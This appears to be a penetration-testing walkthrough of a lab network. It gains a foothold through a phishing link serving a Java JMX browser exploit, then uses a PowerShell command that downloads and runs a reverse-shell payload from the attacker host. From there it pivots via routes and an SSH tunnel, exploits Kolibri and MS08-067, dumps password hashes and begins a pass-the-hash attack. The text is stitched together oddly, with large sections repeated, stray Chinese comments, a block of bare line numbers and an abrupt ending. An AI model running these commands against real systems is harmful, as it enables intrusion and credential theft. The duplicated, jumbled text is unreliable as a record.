[*] Command Stager progress - 100.00% done (102108/102108 bytes)

msf exploit(handler) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter java/java b33f @ Trident 192.168.44.137:8080 -> 192.168.44.1:58314 (192.168.44.1)
2 shell windows 192.168.44.137:9988 -> 192.168.44.1:58736 (192.168.44.1)
3 meterpreter x86/win32 Trident\b33f @ TRIDENT 192.168.44.137:9988 -> 192.168.44.1:58770 (192.168.44.1)

# Lets kill off the sessions we don't need anymore.

msf exploit(handler) > sessions -k 1
[*] Killing session 1
[*] 192.168.44.1 - Meterpreter session 1 closed.

msf exploit(handler) > sessions -k 2
[*] Killing session 2
[*] 192.168.44.1 - Command shell session 2 closed.



As a final step in setting up our forward base of attack we will scan the internal non routable network for live hosts and add a route to that network in metasploit so we can pivot our attacks.

meterpreter > run arp_scanner -r 192.168.17.1/24
[*] ARP Scanning 192.168.17.1/24
[*] IP: 192.168.17.1 MAC 00:50:56:c0:00:01
[*] IP: 192.168.17.134 MAC 00:0c:29:33:39:21
[*] IP: 192.168.17.132 MAC 00:0c:29:71:74:f7

msf exploit(handler) > route add 192.168.17.1 255.255.255.0 3
[*] Route added

msf exploit(handler) > route print

Active Routing Table
====================

Subnet Netmask Gateway
------ ------- -------
192.168.17.1 255.255.255.0 Session 3






V2 Legacy Web Server

As I mentioned before the corporate network perimeter is generally well protected. That same diligence is (generally) not applied to the internal network for a variety of reasons. Upgrading OS'es costs allot of money, patching may cause downtime no one is willing to sign off on and generally people consider the internal network to be a safe place. Enter our (unrealistic) XP SP1 legacy HTTP server running a vulnerable version of Kolibri. Since we added a route to the corporate network in msf we can now forward our traffic through V1 to the non routable hosts.



msf exploit(handler) > nmap -sS -T5 -v 192.168.17.134
[*] exec: nmap -sS -T5 -v 192.168.17.134

Starting Nmap 5.51SVN ( http://nmap.org ) at 2013-01-18 21:25 GMT
Initiating Ping Scan at 21:25
Scanning 192.168.17.134 [3 ports]
Completed Ping Scan at 21:25, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:25
Completed Parallel DNS resolution of 1 host. at 21:25, 0.03s elapsed
Initiating SYN Stealth Scan at 21:25
Scanning 192.168.17.134 [1000 ports]
Discovered open port 135/tcp on 192.168.17.134
Discovered open port 8080/tcp on 192.168.17.134
Discovered open port 1025/tcp on 192.168.17.134
Discovered open port 139/tcp on 192.168.17.134
Discovered open port 445/tcp on 192.168.17.134
Discovered open port 5000/tcp on 192.168.17.134
Completed SYN Stealth Scan at 21:25, 3.28s elapsed (1000 total ports)
Nmap scan report for 192.168.17.134
Host is up (1.0s latency).

PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
5000/tcp open upnp
8080/tcp open http-proxy
MAC Address: 00:0C:29:33:39:21 (VMware)

Read data files from: /opt/framework/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.53 seconds
Raw packets sent: 1527 (67.164KB) | Rcvd: 543 (21.744KB)



A bit of service enumeration will reveal that the http-proxy is actually Kolibri HTTP Server. You could tunnel out the port and browse to the site or look at the raw dump when enumerating with amap but I leave that up to the diligent reader to play with. There is already an exploit present for Kolibri in metasploit but it only supports XP SP3. It literally took me five minutes start to finish to launch a debugger on a test system, look for the appropriate addresses on SP1 and modify the exploit in metasploit accordingly.

msf exploit(handler) > use exploit/windows/http/kolibri_http

msf exploit(kolibri_http) > set rhost 192.168.17.134
rhost => 192.168.17.134

msf exploit(kolibri_http) > set rport 8080
rport => 8080

# Take care to set a bind payload as the host has no way to route back to our attacker.

msf exploit(kolibri_http) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp

msf exploit(kolibri_http) > show options

Module options (exploit/windows/http/kolibri_http):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 192.168.17.134 yes The target address
RPORT 8080 yes The target port
VHOST no HTTP server virtual host


Payload options (windows/meterpreter/bind_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LPORT 4444 yes The listen port
RHOST 192.168.17.134 no The target address


Exploit target:

Id Name
-- ----
0 Windows XP sp3

msf exploit(kolibri_http) > exploit

msf exploit(handler) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
3 meterpreter x86/win32 Trident\b33f @ TRIDENT 192.168.44.137:9988
-> 192.168.44.1:58770 (192.168.44.1)
4 meterpreter x86/win32 B33F-URLVV9CUV5\user1 @ B33F-URLVV9CUV5 192.168.44.137-192.168.44.1:0
-> 192.168.17.134:4444 (192.168.17.134)

msf exploit(handler) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > getuid
Server username: B33F-URLVV9CUV5\user1

meterpreter > sysinfo
Computer : B33F-URLVV9CUV5
OS : Windows XP (Build 2600, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32

# Seems like user1 is a low privilege user and won't be able to give us SYSTEM level access to the box

meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.



At this point there are a couple of things we could do. In metasploit we could run "search exploit/windows/local" and run one of the local privilege escalation exploits through our existing session or we could directly exploit MS08_067 since we already have a route to the network. We will be doing something a bit more complicated though to demonstrate the power of ssh tunneling. We will tunnel out port 445 on the remote host all the way back to our attacker and then launch MS08_067 on our local box through the tunnel to V2 and get a shell back. This example is a bit contrived but there are cases where ssh tunneling will save you skin. Since V1 can route connections to our attacker and to V2 we will be using V1 as the bridge for our tunnel.

# First start your ssh server on BackTrack.

root@bt:~# /etc/init.d/ssh start
Rather than invoking init scripts through /etc/init.d, use the service(8)
utility, e.g. service ssh start

Since the script you are attempting to invoke has been converted to an
Upstart job, you may also use the start(8) utility, e.g. start ssh
ssh start/running, process 4985

# Drop back into a shell on V1 and start the tunnel. It will look like you drop out of metasploit back
# into a terminal but thats normal since you opening a ssh shell.
#
# Tunnel Syntax: plink -l username -pw "password" -R attacker_port:victim_ip:victim_port attacker_ip

C:\Users\b33f\Desktop\EvilHacker>plink -l root -pw "s3cr3tpa$$word" -R 445:192.168.17.134:445 192.168.44.137
plink -l root -pw "s3cr3tpa$$word" -R 445:192.168.17.134:445 192.168.44.137

Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux

System information as of Sat Jan 19 19:56:44 GMT 2013

System load: 0.01 Processes: 130
Usage of /: 28.6% of 47.82GB Users logged in: 1
Memory usage: 16% IP address for eth0: 192.168.44.137
Swap usage: 0%

Graph this data and manage this system at https://landscape.canonical.com/
Last login: Sat Jan 19 19:25:22 2013 from 192.168.44.1

root@bt:~# netstat -antp |grep 445
netstat -antp |grep 445
tcp 0 0 127.0.0.1:445 0.0.0.0:* LISTEN 3486/2
tcp6 0 0 ::1:445 :::* LISTEN 3486/2

# 打开一个新的msfconsole
msf exploit(ms08_067_netapi) > use scanner/smb/smb_version

msf auxiliary(smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads

msf auxiliary(smb_version) > set rhosts 127.0.0.1
rhosts => 127.0.0.1

msf auxiliary(smb_version) > exploit

[*] 127.0.0.1:445 is running Windows XP Service Pack 0 / 1 (language: English) (name:B33F-URLVV9CUV5)
(domain:WORKGROUP)
[-] 127.0.0.1: ActiveRecord::RecordInvalid Validation failed: Address is reserved
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf > search ms08_067

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/smb/ms08_067_netapi 2008-10-28 00:00:00 UTC great Microsoft Server Service Relative
Path Stack Corruption



msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 127.0.0.1 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/bind_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LPORT 4444 yes The listen port
RHOST 127.0.0.1 no The target address


Exploit target:

Id Name
-- ----
2 Windows XP SP0/SP1 Universal


msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Attempting to trigger the vulnerability...

root@bt:~# exit
exit
logout
Using username "root".

C:\Users\b33f\Desktop>^Z
Background channel 1? [y/N] y

meterpreter >
Background session 4? [y/N]


V1 Client Side Foothold
Like I said before sophisticated attackers have had great success at using client side attacks to gain entry to the corporate network. Exploits such as the recent Java JMX bug offer such powerful weapons to the attacker with remote code execution across multiple browsers and operating systems. A regular user may easily be tricked into browsing to a malicious link if he/she thinks the sender is trusted or is properly motivated. Time to launch our attack on the corporate network. First we will serve up the Java JMX exploit on our attackers box and then we will try to entice a poor employee to visit our malicious website.

msf > search JMX

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/multi/browser/java_jre17_jmxbean 2013-01-10 excellent Java Applet JMX Remote Code
Execution
exploit/multi/http/jboss_bshdeployer 2010-04-26 excellent JBoss JMX Console Beanshell
Deployer WAR Upload and
Deployment
exploit/multi/http/jboss_invoke_deploy 2007-02-20 excellent JBoss DeploymentFileRepository
WAR Deployment (via
JMXInvokerServlet)
exploit/multi/http/jboss_maindeployer 2007-02-20 excellent JBoss JMX Console Deployer
Upload and Execute
exploit/multi/misc/java_rmi_server 2011-10-15 excellent Java RMI Server Insecure
Default Configuration Java
Code Execution


msf exploit(java_jre17_jmxbean) > show options

Module options (exploit/multi/browser/java_jre17_jmxbean):

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the
local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted:
SSL2, SSL3, TLS1)
URIPATH /JavaEveryday no The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_http):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.44.137 yes The local listener hostname
LPORT 8080 yes The local listener port


Exploit target:

Id Name
-- ----
0 Generic (Java Payload)

msf exploit(java_jre17_jmxbean) > exploit
[*] Exploit running as background job.
[*] Started HTTP reverse handler on http://192.168.44.137:8080/
[*] Using URL: http://0.0.0.0:8080/JavaEveryday
[*] Local IP: http://192.168.44.137:8080/JavaEveryday
[*] Server started.



All we need to do now is trick the unsuspecting user (V1) into browsing to our website.






Obviously this crude attempt won't get us very far but you get the idea right. A motivated attacker can obfuscate the link and craft a mail that looks like it comes from a trusted source or supply a seemingly compelling reason to visit the website. This will be the starting point for our infrastructure scenario.

msf exploit(java_jre17_jmxbean) > exploit

[*] Exploit running as background job.
[*] Started HTTP reverse handler on http://192.168.44.137:8080/
[*] Using URL: http://0.0.0.0:8080/JavaEveryday
[*] Local IP: http://192.168.44.137:8080/JavaEveryday
[*] Server started.
[*] 192.168.44.1 java_jre17_jmxbean - handling request for /JavaEveryday/
[*] 192.168.44.1:58312 Request received for /favicon.ico...
[*] 192.168.44.1:58312 Unknown request to /favicon.ico GET /favicon.ico HTTP/1.1

Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 192.168.44.137:8080
Connection: Keep-Alive
Content-Length: 0
...

[*] 192.168.44.1 java_jre17_jmxbean - handling request for /JavaEveryday/eHRimLIo.jar
[*] 192.168.44.1 java_jre17_jmxbean - handling request for /JavaEveryday/eHRimLIo.jar
[*] 192.168.44.1:58314 Request received for /INITJM...
[*] Meterpreter session 1 opened (192.168.44.137:8080 -> 192.168.44.1:58314) at 2013-01-18 20:50:07 +0000

msf exploit(java_jre17_jmxbean) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter java/java b33f @ Trident 192.168.17.133:8080 -> 192.168.17.1:53650 (192.168.17.1)

msf exploit(java_jre17_jmxbean) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : Trident
OS : Windows 7 6.1 (x86)
Meterpreter : java/java

meterpreter > getuid
Server username: b33f

meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\b33f\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter VMware Network Adapter VMnet10:

Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::15ce:3f81:aaf6:3173%16
IPv4 Address. . . . . . . . . . . : 192.168.17.1
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :

Ethernet adapter VMware Network Adapter VMnet8:

Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::a504:dea1:5746:e518%17
IPv4 Address. . . . . . . . . . . : 192.168.44.1
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :



As we can see from the meterpreter session our host is dual-homed and will likely give us access to additional non routable hosts on the corporate network. First however we are going to replace our existing java_meterpreter with a proper meterpreter. As some of you will know the java_meterpreter doesn't contain all the available functionality. It also gives me the opportunity to showcase to cool tricks: (1) Inline poweshell code execution and (2) metasploit session upgrading. First we will set up a web server to host our shell and then we will use powershell to download and execute our payload.

root@bt:~/Desktop# /etc/init.d/apache2 start
* Starting web server apache2 [ OK ]

root@bt:~# netstat -atnp |grep apache2
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1467/apache2

root@bt:~# msfpayload windows/shell/reverse_tcp lport=9988 lhost=192.168.44.137 X > /var/www/funz.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
Length: 290
Options: {"lport"=>"9988", "lhost"=>"192.168.44.137"}

root@bt:~# locate plink.exe
/pentest/windows-binaries/tools/plink.exe

root@bt:~# cp /pentest/windows-binaries/tools/plink.exe /var/www/

root@bt:~/Desktop# ls -la /var/www/
total 2100
drwxr-xr-x 3 root root 4096 2013-01-18 01:28 .
drwxr-xr-x 16 root root 4096 2011-06-08 14:51 ..
-rw-r--r-- 1 root root 73802 2013-01-18 01:27 funz.exe
-rw-r--r-- 1 root root 177 2011-05-10 17:01 index.html
-rwxrw-rw- 1 root root 1667584 2011-06-30 14:52 ncat.exe
-rwxrw-rw- 1 root root 381816 2010-04-27 12:04 PsExec.exe
drwxr-xr-x 2 root root 4096 2011-05-10 17:01 wstool



In addition to our payload we will also be uploading plink.exe which is a command line version of Putty which will allow us to create shh tunnels in and out of the corporate network should we need them.

# First we will background our meterpreter session (Ctrl+Z) till we drop back into msfconsole and set up a
# listener for our payload.

msf exploit(java_jre17_jmxbean) > use multi/handler

msf exploit(handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp

msf exploit(handler) > set lport 9988
lport => 9988

msf exploit(handler) > set lhost 192.168.44.137
lhost => 192.168.44.137

msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.44.137:9988
[*] Starting the payload handler...

# Ok now lets log back into our original meterpreter sessions and use powershell to download our files
# and execute our payload.

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\b33f\Desktop>md EvilHacker
md EvilHacker

# This will make the folder hidden and won't even show up if "Show Hidden Files and Folders" option is
# enabled.

C:\Users\b33f\Desktop>attrib +s +h "C:\Users\b33f\Desktop\EvilHacker"
attrib +s +h "C:\Users\b33f\Desktop\EvilHacker"

C:\Users\b33f\Desktop>cd EvilHacker
cd EvilHacker

# This is all in one line

C:\Users\b33f\Desktop\EvilHacker>cmd /c "PowerShell (New-Object System.Net.WebClient).DownloadFile
('http://192.168.44.137/funz.exe','funz.exe');(New-Object System.Net.WebClient).DownloadFile
('http://192.168.44.137/plink.exe','plink.exe');Start-Process 'funz.exe'"

# We immediately get notified of the incoming shell by our handler.

[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.44.1

C:\Users\b33f\Desktop\EvilHacker>^Z
Background channel 1? [y/N] y

meterpreter >
Background session 1? [y/N] y

msf exploit(handler) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter java/java b33f @ Trident 192.168.44.137:8080 -> 192.168.44.1:58314 (192.168.44.1)
2 shell windows 192.168.44.137:9988 -> 192.168.44.1:58736 (192.168.44.1)

# We can use the "sessions -u" option to upgrade our shell to a proper meterpreter session.

msf exploit(handler) > sessions -u 2

[*] Started reverse handler on 192.168.44.137:9988
[*] Starting the payload handler...
[*] Command Stager progress - 1.66% done (1699/102108 bytes)
[*] Command Stager progress - 3.33% done (3398/102108 bytes)
[*] Command Stager progress - 4.99% done (5097/102108 bytes)
[*] Command Stager progress - 6.66% done (6796/102108 bytes)
[...Snip...]
[*] Command Stager progress - 96.51% done (98542/102108 bytes)
[*] Command Stager progress - 98.15% done (100216/102108 bytes)
[*] Command Stager progress - 99.78% done (101888/102108 bytes)
[*] Command Stager progress - 100.00% done (102108/102108 bytes)

msf exploit(handler) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter java/java b33f @ Trident 192.168.44.137:8080 -> 192.168.44.1:58314 (192.168.44.1)
2 shell windows 192.168.44.137:9988 -> 192.168.44.1:58736 (192.168.44.1)
3 meterpreter x86/win32 Trident\b33f @ TRIDENT 192.168.44.137:9988 -> 192.168.44.1:58770 (192.168.44.1)

# Lets kill off the sessions we don't need anymore.

msf exploit(handler) > sessions -k 1
[*] Killing session 1
[*] 192.168.44.1 - Meterpreter session 1 closed.

msf exploit(handler) > sessions -k 2
[*] Killing session 2
[*] 192.168.44.1 - Command shell session 2 closed.



As a final step in setting up our forward base of attack we will scan the internal non routable network for live hosts and add a route to that network in metasploit so we can pivot our attacks.

meterpreter > run arp_scanner -r 192.168.17.1/24
[*] ARP Scanning 192.168.17.1/24
[*] IP: 192.168.17.1 MAC 00:50:56:c0:00:01
[*] IP: 192.168.17.134 MAC 00:0c:29:33:39:21
[*] IP: 192.168.17.132 MAC 00:0c:29:71:74:f7

msf exploit(handler) > route add 192.168.17.1 255.255.255.0 3
[*] Route added

msf exploit(handler) > route print

Active Routing Table
====================

Subnet Netmask Gateway
------ ------- -------
192.168.17.1 255.255.255.0 Session 3






V2 Legacy Web Server

As I mentioned before the corporate network perimeter is generally well protected. That same diligence is (generally) not applied to the internal network for a variety of reasons. Upgrading OS'es costs allot of money, patching may cause downtime no one is willing to sign off on and generally people consider the internal network to be a safe place. Enter our (unrealistic) XP SP1 legacy HTTP server running a vulnerable version of Kolibri. Since we added a route to the corporate network in msf we can now forward our traffic through V1 to the non routable hosts.



msf exploit(handler) > nmap -sS -T5 -v 192.168.17.134
[*] exec: nmap -sS -T5 -v 192.168.17.134

Starting Nmap 5.51SVN ( http://nmap.org ) at 2013-01-18 21:25 GMT
Initiating Ping Scan at 21:25
Scanning 192.168.17.134 [3 ports]
Completed Ping Scan at 21:25, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:25
Completed Parallel DNS resolution of 1 host. at 21:25, 0.03s elapsed
Initiating SYN Stealth Scan at 21:25
Scanning 192.168.17.134 [1000 ports]
Discovered open port 135/tcp on 192.168.17.134
Discovered open port 8080/tcp on 192.168.17.134
Discovered open port 1025/tcp on 192.168.17.134
Discovered open port 139/tcp on 192.168.17.134
Discovered open port 445/tcp on 192.168.17.134
Discovered open port 5000/tcp on 192.168.17.134
Completed SYN Stealth Scan at 21:25, 3.28s elapsed (1000 total ports)
Nmap scan report for 192.168.17.134
Host is up (1.0s latency).

PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
5000/tcp open upnp
8080/tcp open http-proxy
MAC Address: 00:0C:29:33:39:21 (VMware)

Read data files from: /opt/framework/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.53 seconds
Raw packets sent: 1527 (67.164KB) | Rcvd: 543 (21.744KB)



A bit of service enumeration will reveal that the http-proxy is actually Kolibri HTTP Server. You could tunnel out the port and browse to the site or look at the raw dump when enumerating with amap but I leave that up to the diligent reader to play with. There is already an exploit present for Kolibri in metasploit but it only supports XP SP3. It literally took me five minutes start to finish to launch a debugger on a test system, look for the appropriate addresses on SP1 and modify the exploit in metasploit accordingly.

msf exploit(handler) > use exploit/windows/http/kolibri_http

msf exploit(kolibri_http) > set rhost 192.168.17.134
rhost => 192.168.17.134

msf exploit(kolibri_http) > set rport 8080
rport => 8080

# Take care to set a bind payload as the host has no way to route back to our attacker.

msf exploit(kolibri_http) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp

msf exploit(kolibri_http) > show options

Module options (exploit/windows/http/kolibri_http):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 192.168.17.134 yes The target address
RPORT 8080 yes The target port
VHOST no HTTP server virtual host


Payload options (windows/meterpreter/bind_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LPORT 4444 yes The listen port
RHOST 192.168.17.134 no The target address


Exploit target:

Id Name
-- ----
0 Windows XP sp3

msf exploit(kolibri_http) > exploit

msf exploit(handler) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
3 meterpreter x86/win32 Trident\b33f @ TRIDENT 192.168.44.137:9988
-> 192.168.44.1:58770 (192.168.44.1)
4 meterpreter x86/win32 B33F-URLVV9CUV5\user1 @ B33F-URLVV9CUV5 192.168.44.137-192.168.44.1:0
-> 192.168.17.134:4444 (192.168.17.134)

msf exploit(handler) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > getuid
Server username: B33F-URLVV9CUV5\user1

meterpreter > sysinfo
Computer : B33F-URLVV9CUV5
OS : Windows XP (Build 2600, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32

# Seems like user1 is a low privilege user and won't be able to give us SYSTEM level access to the box

meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.



At this point there are a couple of things we could do. In metasploit we could run "search exploit/windows/local" and run one of the local privilege escalation exploits through our existing session or we could directly exploit MS08_067 since we already have a route to the network. We will be doing something a bit more complicated though to demonstrate the power of ssh tunneling. We will tunnel out port 445 on the remote host all the way back to our attacker and then launch MS08_067 on our local box through the tunnel to V2 and get a shell back. This example is a bit contrived but there are cases where ssh tunneling will save you skin. Since V1 can route connections to our attacker and to V2 we will be using V1 as the bridge for our tunnel.

# First start your ssh server on BackTrack.

root@bt:~# /etc/init.d/ssh start
Rather than invoking init scripts through /etc/init.d, use the service(8)
utility, e.g. service ssh start

Since the script you are attempting to invoke has been converted to an
Upstart job, you may also use the start(8) utility, e.g. start ssh
ssh start/running, process 4985

# Drop back into a shell on V1 and start the tunnel. It will look like you drop out of metasploit back
# into a terminal but thats normal since you opening a ssh shell.
#
# Tunnel Syntax: plink -l username -pw "password" -R attacker_port:victim_ip:victim_port attacker_ip

C:\Users\b33f\Desktop\EvilHacker>plink -l root -pw "s3cr3tpa$$word" -R 445:192.168.17.134:445 192.168.44.137
plink -l root -pw "s3cr3tpa$$word" -R 445:192.168.17.134:445 192.168.44.137

Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux

System information as of Sat Jan 19 19:56:44 GMT 2013

System load: 0.01 Processes: 130
Usage of /: 28.6% of 47.82GB Users logged in: 1
Memory usage: 16% IP address for eth0: 192.168.44.137
Swap usage: 0%

Graph this data and manage this system at https://landscape.canonical.com/
Last login: Sat Jan 19 19:25:22 2013 from 192.168.44.1

root@bt:~# netstat -antp |grep 445
netstat -antp |grep 445
tcp 0 0 127.0.0.1:445 0.0.0.0:* LISTEN 3486/2
tcp6 0 0 ::1:445 :::* LISTEN 3486/2

# In a new terminal open up msfconsole. First we will identify the opperating system to verify the tunnel
# works (could also be done with nmap script scan or enum4linux) and then we will launch a meterpreter
# bind payload through the tunnel.

msf exploit(ms08_067_netapi) > use scanner/smb/smb_version

msf auxiliary(smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads

msf auxiliary(smb_version) > set rhosts 127.0.0.1
rhosts => 127.0.0.1

msf auxiliary(smb_version) > exploit

[*] 127.0.0.1:445 is running Windows XP Service Pack 0 / 1 (language: English) (name:B33F-URLVV9CUV5)
(domain:WORKGROUP)
[-] 127.0.0.1: ActiveRecord::RecordInvalid Validation failed: Address is reserved
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf > search ms08_067

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/smb/ms08_067_netapi 2008-10-28 00:00:00 UTC great Microsoft Server Service Relative
Path Stack Corruption
# Take care to set rhost to 127.0.0.1.

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 127.0.0.1 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/bind_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LPORT 4444 yes The listen port
RHOST 127.0.0.1 no The target address


Exploit target:

Id Name
-- ----
2 Windows XP SP0/SP1 Universal


msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Attempting to trigger the vulnerability...

# We won't get as shell as we are launching the attack on our localhost but lets go back to our tunnel,
# close it and background till we are back in msfconsole.

root@bt:~# exit
exit
logout
Using username "root".

C:\Users\b33f\Desktop>^Z
Background channel 1? [y/N] y

meterpreter >
Background session 4? [y/N]

# Set up a handler for the meterpreter bind shell

msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (windows/meterpreter/bind_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LPORT 4444 yes The listen port
RHOST 192.168.17.134 no The target address


Exploit target:

Id Name
-- ----
0 Wildcard Target


msf exploit(handler) > exploit

[*] Started bind handler
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.17.134

meterpreter >
Background session 5? [y/N]

# 现在拿到了V2权限
sf exploit(handler) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
3 meterpreter x86/win32 Trident\b33f @ TRIDENT 192.168.44.137:9988
-> 192.168.44.1:58770 (192.168.44.1)
4 meterpreter x86/win32 B33F-URLVV9CUV5\user1 @ B33F-URLVV9CUV5 192.168.44.137-192.168.44.1:0
-> 192.168.17.134:4444 (192.168.17.134)
5 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ B33F-URLVV9CUV5 192.168.44.137:46585
-> 192.168.17.134:4444 (192.168.17.134)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:17e6ed3ae4ea6164cf94ce448039c13b:1834e6a12f358bd93bfdd45b5395eea1:::
Owner:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:69be3606bb00c489551eb44859048a8c:::
user1:1004:e52cac67419a9a2238f10713b629b565:5835048ce94ad0564e29a924a03510ef:::

V3 server

pass the hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
msf  exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.17.132 yes The target address
RPORT 445 yes Set the SMB service port
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,
C$,...) or a normal read/write folder share
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
no The password for the specified username
SMBUser Administrator no The username to authenticate as


Payload options (windows/meterpreter/bind_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
